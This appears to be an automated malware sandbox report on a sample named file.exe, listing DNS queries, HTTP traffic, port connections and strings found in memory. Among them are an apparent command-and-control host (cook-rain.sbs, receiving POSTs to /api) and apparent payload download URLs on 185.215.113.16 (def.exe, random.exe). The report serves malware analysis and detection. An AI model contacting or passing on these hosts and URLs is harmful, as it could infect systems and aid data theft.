Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2396776433.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2482423507.000000000116A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe3
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_129.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_129.5.dr, chromecache_130.5.dr, chromecache_94.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_129.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_129.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_129.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, file.exe, 00000000.00000003.2297580610.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243511948.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219663138.0000000005C66000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229865622.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153923191.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229541366.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243172815.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243353006.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229452164.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153962101.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2243353006.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/-
Source: file.exe, 00000000.00000003.2195655930.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/I
Source: file.exe, 00000000.00000003.2396673125.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/IzI
Source: file.exe, 00000000.00000003.2297580610.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/J
Source: file.exe, 00000000.00000003.2243353006.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195655930.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_129.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_121.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
